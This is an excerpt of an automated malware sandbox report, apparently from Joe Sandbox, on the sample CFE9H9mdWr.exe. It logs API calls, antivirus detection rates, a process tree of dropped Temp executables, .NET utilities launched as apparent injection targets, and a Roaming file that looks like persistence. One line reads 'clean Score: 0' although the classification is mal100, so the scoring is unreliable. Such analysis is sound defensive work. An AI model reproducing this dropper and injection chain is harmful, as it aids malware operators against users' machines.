Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEB60E9 ZwOpenKey,ZwClose,ZwClose,	29_2_6CEB60E9
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE0B8F0 TpSetPoolStackInformation,ZwSetInformationWorkerFactory,	29_2_6CE0B8F0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE040FD RtlImageNtHeaderEx,DbgPrintEx,memset,RtlDebugPrintTimes,DbgPrintEx,wcsstr,DbgPrintEx,DbgPrintEx,wcschr,DbgPrintEx,ZwSetInformationProcess,	29_2_6CE040FD
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE070C0 ZwClose,RtlFreeHeap,RtlFreeHeap,	29_2_6CE070C0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE400C2 ZwAlertThreadByThreadId,	29_2_6CE400C2
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE410D7 ZwOpenKey,ZwCreateKey,	29_2_6CE410D7
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE498D0 ZwQueryAttributesFile,	29_2_6CE498D0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE4A0D0 ZwCreateTimer2,	29_2_6CE4A0D0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEB60A2 ZwQueryInformationFile,	29_2_6CEB60A2
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE2F0AE ZwSetInformationWorkerFactory,	29_2_6CE2F0AE
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE4B0B0 ZwTraceControl,	29_2_6CE4B0B0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE318B9 ZwCreateTimer2,ZwCreateWaitCompletionPacket,ZwAssociateWaitCompletionPacket,ZwClose,	29_2_6CE318B9
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE3F0BF ZwOpenFile,RtlFreeHeap,ZwQueryVolumeInformationFile,RtlAllocateHeap,memcpy,ZwClose,ZwClose,RtlFreeHeap,	29_2_6CE3F0BF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE03880 TpSetWaitEx,RtlAllocateHeap,ZwGetCompleteWnfStateSubscription,RtlFreeHeap,TpSetWaitEx,	29_2_6CE03880
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE3A080 RtlDeleteCriticalSection,RtlAcquireSRWLockExclusive,RtlDeleteCriticalSection,RtlDeleteCriticalSection,ZwClose,RtlDeleteCriticalSection,	29_2_6CE3A080
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE4108B ZwClose,	29_2_6CE4108B
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE2E090 RtlWow64EnableFsRedirectionEx,RtlEnterCriticalSection,RtlLeaveCriticalSection,ZwSetEvent,	29_2_6CE2E090
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE4A890 ZwQueryDebugFilterState,	29_2_6CE4A890
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE49890 ZwFsControlFile,	29_2_6CE49890
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE1106F ZwOpenKey,ZwClose,	29_2_6CE1106F
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE91879 ZwAllocateVirtualMemory,memset,RtlInitializeSid,	29_2_6CE91879
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE49840 ZwDelayExecution,	29_2_6CE49840
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE05050 RtlSetCurrentDirectory_U,RtlAllocateHeap,RtlFreeHeap,RtlEnterCriticalSection,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,RtlSetCurrentDirectory_U,RtlFreeHeap,RtlFreeHeap,	29_2_6CE05050
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CED8858 ZwAlertThreadByThreadId,	29_2_6CED8858
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE34020 RtlGetVersion,RtlGetSuiteMask,RtlGetNtProductType,RtlInitUnicodeString,ZwQueryLicenseValue,RtlGetSuiteMask,RtlGetVersion,	29_2_6CE34020
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE49830 ZwOpenFile,	29_2_6CE49830
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEDF019 RtlInitUnicodeString,RtlInitUnicodeString,ZwQueryValueKey,RtlAllocateHeap,ZwQueryValueKey,RtlInitUnicodeString,ZwClose,RtlFreeHeap,	29_2_6CEDF019
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE0F018 RtlAllocateHeap,ZwQueryValueKey,memcpy,RtlFreeHeap,	29_2_6CE0F018
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CED89E7 RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6CED89E7
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE919C8 ZwCreateSection,ZwMapViewOfSection,memset,ZwUnmapViewOfSection,ZwClose,	29_2_6CE919C8
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE4B1A0 ZwWaitForKeyedEvent,	29_2_6CE4B1A0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC49A4 ZwAllocateVirtualMemory,RtlCompareMemory,memcpy,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,	29_2_6CEC49A4
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE4A9B0 ZwQueryLicenseValue,	29_2_6CE4A9B0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE2C182 RtlGetCurrentServiceSessionId,RtlAcquireSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,ZwWaitForAlertByThreadId,RtlAcquireSRWLockExclusive,	29_2_6CE2C182
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE4B180 ZwWaitForAlertByThreadId,	29_2_6CE4B180
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE49980 ZwCreateEvent,	29_2_6CE49980
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CECA189 RtlAcquireSRWLockExclusive,ZwGetNlsSectionPtr,RtlAllocateHeap,RtlFreeHeap,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,	29_2_6CECA189
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEB6186 ZwQueryValueKey,memmove,RtlInitUnicodeString,	29_2_6CEB6186
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE49990 ZwQueryVolumeInformationFile,	29_2_6CE49990
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE0519E RtlEqualUnicodeString,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,	29_2_6CE0519E
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE4B160 ZwUpdateWnfStateData,	29_2_6CE4B160
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE4A160 ZwCreateWorkerFactory,	29_2_6CE4A160
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CED8966 RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6CED8966
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE0B171 ZwQueryDebugFilterState,_alloca_probe_16,memcpy,_vsnprintf,ZwWow64DebuggerCall,RtlRaiseException,	29_2_6CE0B171
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE91976 ZwCreateEvent,	29_2_6CE91976
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE2B944 __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,RtlGetCurrentServiceSessionId,ZwSetTimer2,RtlGetCurrentServiceSessionId,ZwCancelTimer2,	29_2_6CE2B944
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE0F150 RtlOpenCurrentUser,RtlFormatCurrentUserKeyPath,ZwOpenKey,RtlFreeUnicodeString,RtlOpenCurrentUser,RtlInitUnicodeString,ZwOpenKey,	29_2_6CE0F150
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE4B150 ZwUnsubscribeWnfStateChange,	29_2_6CE4B150
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE0395E RtlAcquireSRWLockShared,RtlAcquireSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockShared,RtlAcquireSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockShared,RtlReleaseSRWLockExclusive,RtlFreeHeap,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,ZwGetCompleteWnfStateSubscription,RtlFreeHeap,	29_2_6CE0395E
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE49920 ZwDuplicateToken,	29_2_6CE49920
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE9193B ZwRaiseException,ZwTerminateProcess,	29_2_6CE9193B
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE4A130 ZwCreateWaitCompletionPacket,	29_2_6CE4A130
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEDF13B ZwOpenKey,ZwCreateKey,	29_2_6CEDF13B
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE09100 TpReleasePool,RtlAcquireSRWLockExclusive,ZwShutdownWorkerFactory,RtlGetCurrentServiceSessionId,TpReleasePool,TpReleasePool,RtlDebugPrintTimes,TpReleasePool,	29_2_6CE09100
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE10100 LdrUnloadAlternateResourceModuleEx,RtlAcquireSRWLockExclusive,ZwUnmapViewOfSection,ZwClose,LdrUnloadAlternateResourceModuleEx,RtlFreeHeap,RtlFreeHeap,RtlReAllocateHeap,	29_2_6CE10100
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE49900 ZwOpenEvent,	29_2_6CE49900
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE49AE0 ZwTraceEvent,	29_2_6CE49AE0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE4AAE0 ZwRaiseException,	29_2_6CE4AAE0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE4AAC0 ZwQueryWnfStateNameInformation,	29_2_6CE4AAC0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CED8ADD RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6CED8ADD
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE2FAD0 RtlAcquireSRWLockShared,RtlDllShutdownInProgress,ZwWaitForAlertByThreadId,RtlAcquireSRWLockShared,ZwTerminateProcess,	29_2_6CE2FAD0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE91AD6 ZwFreeVirtualMemory,	29_2_6CE91AD6
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE01AA0 RtlAllocateHandle,RtlReAllocateHeap,ZwAllocateVirtualMemory,ZwAllocateVirtualMemory,RtlAllocateHeap,	29_2_6CE01AA0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE35AA0 TpSetPoolMaxThreads,ZwSetInformationWorkerFactory,RtlGetCurrentServiceSessionId,TpSetPoolMaxThreads,	29_2_6CE35AA0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE052A5 RtlEnterCriticalSection,RtlLeaveCriticalSection,ZwFsControlFile,RtlEnterCriticalSection,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,ZwClose,RtlFreeHeap,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,ZwClose,RtlFreeHeap,RtlEnterCriticalSection,RtlLeaveCriticalSection,	29_2_6CE052A5
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE49AB0 ZwWaitForMultipleObjects,	29_2_6CE49AB0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE3E2BB ZwWaitForAlertByThreadId,	29_2_6CE3E2BB
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE22280 RtlAcquireSRWLockExclusive,RtlDllShutdownInProgress,ZwWaitForAlertByThreadId,RtlAcquireSRWLockExclusive,ZwTerminateProcess,	29_2_6CE22280
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE4B280 ZwWow64DebuggerCall,	29_2_6CE4B280
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE4AA90 ZwQuerySystemInformationEx,	29_2_6CE4AA90
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE3D294 ZwQueryAttributesFile,RtlFreeHeap,ZwClose,RtlFreeHeap,	29_2_6CE3D294
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE0429E RtlInitUnicodeString,ZwClose,LdrQueryImageFileKeyOption,	29_2_6CE0429E
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CED8A62 RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6CED8A62
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE09240 ZwClose,ZwClose,RtlFreeHeap,RtlFreeHeap,RtlFreeHeap,RtlAcquireSRWLockExclusive,RtlFreeHeap,	29_2_6CE09240
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE91242 ZwUnmapViewOfSection,ZwClose,ZwClose,ZwClose,ZwClose,ZwClose,	29_2_6CE91242
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE04A20 RtlGetCurrentServiceSessionId,RtlFreeHeap,ZwClose,RtlReleaseActivationContext,LdrUnloadDll,	29_2_6CE04A20
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE2A229 ZwAllocateVirtualMemory,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,ZwQueryVirtualMemory,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,RtlFillMemoryUlong,DbgPrint,DbgPrint,DbgPrint,	29_2_6CE2A229
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE3B230 EtwEventWrite,ZwTraceEvent,RtlNtStatusToDosError,EtwEventWrite,	29_2_6CE3B230
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE08239 RtlInitUnicodeStringEx,ZwQueryValueKey,RtlInitUnicodeStringEx,RtlPrefixUnicodeString,ZwEnumerateKey,ZwOpenKey,RtlInitUnicodeStringEx,ZwQueryValueKey,RtlFreeHeap,ZwClose,RtlAllocateHeap,RtlCompareUnicodeString,ZwClose,RtlFreeHeap,ZwClose,	29_2_6CE08239
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE49A00 ZwProtectVirtualMemory,	29_2_6CE49A00
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE05210 RtlGetCurrentDirectory_U,memcpy,RtlGetCurrentDirectory_U,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,	29_2_6CE05210
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CED8214 RtlAcquireSRWLockExclusive,ZwSetInformationWorkerFactory,RtlReleaseSRWLockExclusive,	29_2_6CED8214
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE1A3E0 RtlFormatCurrentUserKeyPath,ZwQueryInformationToken,RtlLengthSidAsUnicodeString,RtlAppendUnicodeToString,RtlConvertSidToUnicodeString,RtlFreeUnicodeString,	29_2_6CE1A3E0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE49BF0 ZwAlertThreadByThreadId,	29_2_6CE49BF0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE023F6 ZwClose,RtlFreeHeap,	29_2_6CE023F6
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE02BC2 ZwOpenThreadToken,ZwSetInformationThread,ZwClose,	29_2_6CE02BC2
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE4A3A0 ZwGetCompleteWnfStateSubscription,	29_2_6CE4A3A0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC1BA8 RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6CEC1BA8
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE34BAD RtlAcquireSRWLockExclusive,memset,ZwTraceControl,RtlReleaseSRWLockExclusive,RtlSetLastWin32Error,RtlFreeHeap,RtlAllocateHeap,RtlNtStatusToDosError,RtlFreeHeap,	29_2_6CE34BAD
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CED9BBE RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6CED9BBE
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CED8BB6 RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6CED8BB6
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC138A memset,RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6CEC138A
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE02B93 TpSetDefaultPoolMaxThreads,ZwDuplicateToken,	29_2_6CE02B93
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE3939F RtlInitializeCriticalSectionEx,ZwDelayExecution,	29_2_6CE3939F
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEB6369 RtlInitUnicodeString,ZwOpenFile,ZwCreateSection,ZwMapViewOfSection,ZwClose,ZwClose,	29_2_6CEB6369
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE4AB60 ZwReleaseKeyedEvent,	29_2_6CE4AB60
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE4AB70 ZwReleaseWorkerFactoryWorker,	29_2_6CE4AB70
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE33B7A RtlAllocateHeap,ZwQuerySystemInformationEx,memset,RtlFreeHeap,	29_2_6CE33B7A
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE98372 ZwClose,RtlStringFromGUIDEx,ZwCreateKey,RtlFreeUnicodeString,	29_2_6CE98372
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE02B7E ZwSetInformationThread,ZwClose,	29_2_6CE02B7E
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE33B48 ZwClose,ZwClose,	29_2_6CE33B48
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CED8B58 RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6CED8B58
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE09335 ZwClose,ZwClose,	29_2_6CE09335
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE04B00 TpCallbackMayRunLong,TpCallbackMayRunLong,ZwSetInformationWorkerFactory,	29_2_6CE04B00
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE49B00 ZwSetValueKey,	29_2_6CE49B00
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE35306 ZwReleaseKeyedEvent,	29_2_6CE35306
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC131B RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6CEC131B
Source: C:\Users\user\AppData\Local\Temp\39F6.exe	Code function: 30_2_02BC48D8 NtAllocateVirtualMemory,	30_2_02BC48D8
Source: C:\Users\user\AppData\Local\Temp\39F6.exe	Code function: 30_2_02BC48D0 NtAllocateVirtualMemory,	30_2_02BC48D0

Source: B4BD.exe.12.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: 234F.exe.12.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: 2E6C.exe.12.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: 69D3.exe.12.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: D210.exe.12.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: DA7F.exe.12.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: DEC6.exe.12.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: CFE9H9mdWr.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\bsstvub

Jump to behavior

Source: classification engine

Classification label: mal100.troj.expl.evad.winEXE@36/23@61/11

Source: C:\Users\user\AppData\Local\Temp\39F6.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: CFE9H9mdWr.exe

Joe Sandbox Cloud Basic: Detection: clean Score: 0

Perma Link

Source: CFE9H9mdWr.exe	Virustotal: Detection: 59%
Source: CFE9H9mdWr.exe	Metadefender: Detection: 22%
Source: CFE9H9mdWr.exe	ReversingLabs: Detection: 51%

Source: C:\Users\user\Desktop\CFE9H9mdWr.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\CFE9H9mdWr.exe 'C:\Users\user\Desktop\CFE9H9mdWr.exe'
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe	Process created: C:\Users\user\Desktop\CFE9H9mdWr.exe 'C:\Users\user\Desktop\CFE9H9mdWr.exe'
Source: unknown	Process created: C:\Users\user\AppData\Roaming\bsstvub C:\Users\user\AppData\Roaming\bsstvub
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\12C6.exe C:\Users\user\AppData\Local\Temp\12C6.exe
Source: C:\Users\user\AppData\Roaming\bsstvub	Process created: C:\Users\user\AppData\Roaming\bsstvub C:\Users\user\AppData\Roaming\bsstvub
Source: C:\Users\user\AppData\Local\Temp\12C6.exe	Process created: C:\Users\user\AppData\Local\Temp\12C6.exe C:\Users\user\AppData\Local\Temp\12C6.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\B4BD.exe C:\Users\user\AppData\Local\Temp\B4BD.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\234F.exe C:\Users\user\AppData\Local\Temp\234F.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\2E6C.exe C:\Users\user\AppData\Local\Temp\2E6C.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\39F6.exe C:\Users\user\AppData\Local\Temp\39F6.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\4F44.exe C:\Users\user\AppData\Local\Temp\4F44.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\5AFD.exe C:\Users\user\AppData\Local\Temp\5AFD.exe
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\dfsvc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\dfsvc.exe
Source: C:\Users\user\AppData\Local\Temp\39F6.exe	Process created: C:\Users\user\AppData\Local\Temp\39F6.exe 39F6.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\69D3.exe C:\Users\user\AppData\Local\Temp\69D3.exe
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\39F6.exe 'C:\Users\user\AppData\Local\Temp\39F6.exe'
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInUtil.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInUtil.exe
Source: C:\Users\user\AppData\Local\Temp\4F44.exe	Process created: C:\Users\user\AppData\Local\Temp\4F44.exe C:\Users\user\AppData\Local\Temp\4F44.exe
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe	Process created: C:\Users\user\Desktop\CFE9H9mdWr.exe 'C:\Users\user\Desktop\CFE9H9mdWr.exe'	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\12C6.exe C:\Users\user\AppData\Local\Temp\12C6.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\B4BD.exe C:\Users\user\AppData\Local\Temp\B4BD.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\234F.exe C:\Users\user\AppData\Local\Temp\234F.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\2E6C.exe C:\Users\user\AppData\Local\Temp\2E6C.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\39F6.exe C:\Users\user\AppData\Local\Temp\39F6.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bsstvub	Process created: C:\Users\user\AppData\Roaming\bsstvub C:\Users\user\AppData\Roaming\bsstvub	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12C6.exe	Process created: C:\Users\user\AppData\Local\Temp\12C6.exe C:\Users\user\AppData\Local\Temp\12C6.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\dfsvc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\dfsvc.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInUtil.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInUtil.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\39F6.exe	Process created: C:\Users\user\AppData\Local\Temp\39F6.exe 39F6.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4F44.exe	Process created: C:\Users\user\AppData\Local\Temp\4F44.exe C:\Users\user\AppData\Local\Temp\4F44.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\39F6.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\39F6.exe	Process created: unknown unknown

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32

Jump to behavior

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Local\Temp\12C6.tmp

Jump to behavior

